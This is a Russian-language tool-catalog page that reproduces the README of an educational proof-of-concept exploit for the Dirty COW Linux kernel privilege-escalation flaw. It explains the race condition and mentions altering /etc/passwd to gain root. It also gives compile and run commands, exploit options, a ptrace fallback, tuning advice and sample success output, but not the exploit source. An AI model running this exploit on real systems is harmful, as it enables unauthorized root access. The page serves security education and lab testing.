Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
dirtycow-lab — Образовательный PoC для Dirty COW (CVE-2016-5195) с ведением журнала, запасным вариантом ptrace и поддержкой бинарных полезных нагрузок. | Kitploit
Инструменты/GitHubGitHub/mohammadamin382/dirtycow-lab
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubmohammadamin382/dirtycow-lab

dirtycow-lab

Образовательный PoC для Dirty COW (CVE-2016-5195) с ведением журнала, запасным вариантом ptrace и поддержкой бинарных полезных нагрузок.

Репозиторий
111 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Dirty COW Educational PoC (CVE-2016-5195)

⚠️ Правовое предупреждение

Этот код предназначен ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Любое вредоносное использование строго запрещено и противозаконно.

📖 Что такое Dirty COW?

Dirty COW (CVE-2016-5195) — это уязвимость повышения привилегий в ядре Linux, которая использует состояние гонки в механизме копирования при записи (COW). Эта уязвимость затрагивает ядра Linux начиная с версии 2.6.22 (выпущенной в 2007 году) до версий:

  • 4.8.3
  • 4.7.9
  • 4.4.26

Технические детали

Уязвимость возникает в системе управления памятью ядра:

  1. Копирование при записи (COW): Когда процесс отображает файл с флагом MAP_PRIVATE, изменения должны создавать приватную копию.
  2. Состояние гонки: Два потока соревнуются между вызовом madvise(MADV_DONTNEED) и записью в /proc/self/mem.
  3. Эксплуатация: При определенных временных условиях записи могут обойти защиту COW и изменить исходный файл.

Воздействие

  • Повышение привилегий: Изменение файлов, доступных только для чтения, принадлежащих root.
  • Компрометация системы: Возможность получить доступ root путем изменения системных файлов, таких как /etc/passwd.
  • Целостность данных: Несанкционированное изменение критически важных системных файлов.

🛡️ Замечания по безопасности для тестирования

⚠️ КРИТИЧЕСКИ ВАЖНО: Тестировать только в изолированной среде

НИКОГДА не запускайте это на рабочих системах или системах, которые вам не принадлежат!

Рекомендуемая тестовая среда:

  1. Виртуальная машина (VM): Используйте VMware, VirtualBox или KVM.
  2. Контейнер: Docker-контейнер с уязвимым ядром.
  3. Изолированная лаборатория: Выделенная тестовая машина без важных данных.
  4. Требования к ядру: Версии ядра Linux от 2.6.22 до 4.8.2.

Безопасные методы тестирования:

root@kitploit:~
# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 Компиляция и использование

Предварительные требования

root@kitploit:~
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

Компиляция

root@kitploit:~
# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

Базовое использование

root@kitploit:~
# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

Параметры командной строки

🔬 Расширенные возможности

1. Несколько методов атаки

  • Метод 1: запись через /proc/self/mem (по умолчанию)
  • Метод 2: ptrace(PTRACE_POKETEXT) для ограниченных систем

2. Динамическое сканирование смещений

Сканирует несколько смещений в памяти, чтобы найти наилучшую позицию для записи:

root@kitploit:~
./main -D -v  # Enable dynamic offset scanning

3. Многопроцессорные состояния гонки

Запуск нескольких процессов для интенсивных состояний гонки:

root@kitploit:~
./main -n 4  # Use 4 parallel processes

4. Поддержка бинарной нагрузки

Загрузка произвольных бинарных данных из файлов:

root@kitploit:~
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. Автоматическая логика повторных попыток

Автоматический повтор неудачных попыток:

root@kitploit:~
./main -r 5  # Retry up to 5 times

6. Проверка целостности файлов

Использует хэширование SHA-256 для проверки изменений файлов:

root@kitploit:~
# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 Вывод и ведение журнала

Пример вывода в консоль

root@kitploit:~
Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

Формат файла журнала

Инструмент создает подробные журналы в exploit_log.txt:

root@kitploit:~
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 Тестовые сценарии

Сценарий 1: Тест базовой функциональности

root@kitploit:~
# Test basic exploit functionality
./main -t /tmp/basic_test -v

Сценарий 2: Стресс-тест

root@kitploit:~
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

Сценарий 3: Ограниченная среда

root@kitploit:~
# Test when /proc/self/mem is blocked
./main -P -D -v

Сценарий 4: Тест бинарной нагрузки

root@kitploit:~
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 Понимание эксплойта

Время состояния гонки

Эксплойт работает, создавая гонку между двумя операциями:

  1. Поток 1: madvise(MADV_DONTNEED) — сообщает ядру отбросить страницы памяти
  2. Поток 2: Запись в /proc/self/mem — попытка записи в отображаемую память

Факторы успеха

  • Версия ядра: Должна быть уязвимой (< 4.8.3)
  • Время: Состояние гонки должно произойти в точный момент
  • Отображение памяти: Файл должен быть отображен с флагом MAP_PRIVATE
  • Разрешения: Должен быть доступ на чтение к целевому файлу

Почему это работает

Когда состояние гонки срабатывает:

  1. Поток 1 отбрасывает страницу COW
  2. Записи потока 2 происходят до создания новой страницы COW
  3. Запись идет напрямую в исходный файл, а не в приватную копию

🛠️ Устранение неполадок

Частые проблемы

1. "Эксплойт не удался или недостаточно итераций"

  • Решение: Увеличьте количество итераций с помощью -i или используйте несколько процессов -n

2. "Ошибка доступа к /proc/self/mem"

  • Решение: Используйте метод ptrace с флагом -P

3. "Система может быть не уязвима"

  • Проверьте версию ядра: uname -r
  • Убедитесь, что ядро старше 4.8.3

4. Система перестает отвечать

  • Уменьшите количество итераций: -i 1000000
  • Используйте меньше процессов: -n 1

Настройка производительности

root@kitploit:~
# Conservative settings (slower but safer)
./main -i 5000000 -n 1

# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D

# Balanced settings
./main -i 20000000 -n 2 -r 2 -D

📚 Образовательные ресурсы

Информация о CVE

  • CVE-2016-5195: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
  • NVD Database: https://nvd.nist.gov/vuln/detail/CVE-2016-5195

Дополнительное чтение

  • Управление памятью ядра Linux
  • Механизм копирования при записи
  • Уязвимости состояния гонки
  • Техники повышения привилегий

🤝 Внесение вклада

Это образовательный инструмент. Вклад должен быть направлен на:

  • Повышение образовательной ценности
  • Добавление функций безопасности
  • Улучшение документации
  • Чистота кода и комментарии

⚖️ Отказ от ответственности

Данное программное обеспечение предоставляется только для образовательных и исследовательских целей. Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причиненный этой программой. Пользователи несут единоличную ответственность за обеспечение наличия надлежащего разрешения перед тестированием на любых системах.

Используя данное программное обеспечение, вы подтверждаете, что:

  • Вы будете использовать его только в законных образовательных целях
  • У вас есть надлежащее разрешение на любое проводимое тестирование
  • Вы понимаете юридические последствия несанкционированного тестирования систем
  • Вы не будете использовать этот инструмент в вредоносных целях

📝 Лицензия

Этот проект выпущен под лицензией MIT только для образовательных целей.


Помните: с большой силой приходит большая ответственность. Используйте эти знания для защиты и обеспечения безопасности систем, а не для их повреждения.

Скачать инструмент
ПараметрОписаниеПо умолчаниюМакс
-t <file>Путь к целевому файлу/tmp/dirty_cow_test-
-p <payload>Произвольная текстовая нагрузкаТестовая строка-
-f <file>Загрузить бинарную нагрузку из файла--
-i <num>Количество итераций10,000,000100,000,000
-n <num>Количество параллельных процессов18
-r <num>Количество попыток повторения110
-PИспользовать ptrace вместо /proc/self/memОтключено-
-DВключить динамическое сканирование смещенийОтключено-
-vПодробный выводОтключено-
-l <file>Путь к файлу журналаexploit_log.txt-
-hПоказать справку--